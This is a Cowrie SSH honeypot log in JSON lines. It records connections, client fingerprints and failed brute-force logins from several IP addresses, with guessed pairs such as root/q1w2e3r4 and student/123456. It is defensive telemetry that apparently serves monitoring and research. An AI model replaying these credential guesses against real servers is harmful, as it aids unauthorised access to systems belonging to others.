{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:41.897926Z","src_ip":"83.168.110.85","session":"53f11ba1e0ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.99","src_port":56106,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef5b1992199e","protocol":"ssh","message":"New connection: 152.32.171.99:56106 (159.203.135.109:22) [session: ef5b1992199e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:42.340999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:42.346621Z","src_ip":"152.32.171.99","session":"ef5b1992199e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4","message":"login attempt [root/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:42.394153Z","src_ip":"83.168.110.85","session":"53f11ba1e0ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:42.564494Z","src_ip":"152.32.171.99","session":"ef5b1992199e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"infern0","message":"login attempt [root/infern0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:43.464342Z","src_ip":"152.32.171.99","session":"ef5b1992199e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:43.517048Z","src_ip":"83.168.110.85","session":"53f11ba1e0ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:44.718318Z","src_ip":"152.32.171.99","session":"ef5b1992199e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":43084,"dst_ip":"159.203.135.109","dst_port":22,"session":"de14d61ef94e","protocol":"ssh","message":"New connection: 160.251.185.39:43084 (159.203.135.109:22) [session: de14d61ef94e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:51.070985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:51.075607Z","src_ip":"160.251.185.39","session":"de14d61ef94e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:51.264465Z","src_ip":"160.251.185.39","session":"de14d61ef94e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"margo","message":"login attempt [root/margo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:52.048358Z","src_ip":"160.251.185.39","session":"de14d61ef94e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":57318,"dst_ip":"159.203.135.109","dst_port":22,"session":"380ece94b220","protocol":"ssh","message":"New connection: 83.168.110.85:57318 (159.203.135.109:22) [session: 380ece94b220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:52.199274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:52.344680Z","src_ip":"83.168.110.85","session":"380ece94b220","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:52.348183Z","src_ip":"83.168.110.85","session":"380ece94b220","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer1234","message":"login attempt [root/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:52.832665Z","src_ip":"83.168.110.85","session":"380ece94b220","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:53.239795Z","src_ip":"160.251.185.39","session":"de14d61ef94e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:54.118567Z","src_ip":"83.168.110.85","session":"380ece94b220","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":45086,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a0c9038e7b7","protocol":"ssh","message":"New connection: 62.133.63.178:45086 (159.203.135.109:22) [session: 1a0c9038e7b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:55.301960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:55.307097Z","src_ip":"62.133.63.178","session":"1a0c9038e7b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:55.427479Z","src_ip":"62.133.63.178","session":"1a0c9038e7b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123987","message":"login attempt [root/123987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:55.783806Z","src_ip":"62.133.63.178","session":"1a0c9038e7b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:56.905406Z","src_ip":"62.133.63.178","session":"1a0c9038e7b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":35176,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc7983cc605e","protocol":"ssh","message":"New connection: 83.168.110.85:35176 (159.203.135.109:22) [session: cc7983cc605e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:31:02.608012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:31:02.613709Z","src_ip":"83.168.110.85","session":"cc7983cc605e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:31:02.732363Z","src_ip":"83.168.110.85","session":"cc7983cc605e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"123456","message":"login attempt [student/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:31:03.205762Z","src_ip":"83.168.110.85","session":"cc7983cc605e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:31:04.535823Z","src_ip":"83.168.110.85","session":"cc7983cc605e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":58260,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0f13728eaf4","protocol":"ssh","message":"New connection: 83.168.110.85:58260 (159.203.135.109:22) [session: a0f13728eaf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:31:12.975826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:31:12.981797Z","src_ip":"83.168.110.85","session":"a0f13728eaf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:31:13.102720Z","src_ip":"83.168.110.85","session":"a0f13728eaf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"123456","message":"login attempt [uftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:31:13.465576Z","src_ip":"83.168.110.85","session":"a0f13728eaf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:31:14.700891Z","src_ip":"83.168.110.85","session":"a0f13728eaf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":44552,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9e06d2ba366","protocol":"ssh","message":"New connection: 83.168.110.85:44552 (159.203.135.109:22) [session: c9e06d2ba366]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:31:23.551456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:31:23.556216Z","src_ip":"83.168.110.85","session":"c9e06d2ba366","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:31:23.736454Z","src_ip":"83.168.110.85","session":"c9e06d2ba366","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vbox","password":"123456","message":"login attempt [vbox/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:31:24.098628Z","src_ip":"83.168.110.85","session":"c9e06d2ba366","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":58936,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9e8acefef12","protocol":"ssh","message":"New connection: 87.251.79.125:58936 (10.17.0.5:22) [session: f9e8acefef12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:31:24.403337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:31:24.408087Z","src_ip":"87.251.79.125","session":"f9e8acefef12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:31:24.479374Z","src_ip":"87.251.79.125","session":"f9e8acefef12","protocol":"ssh"}
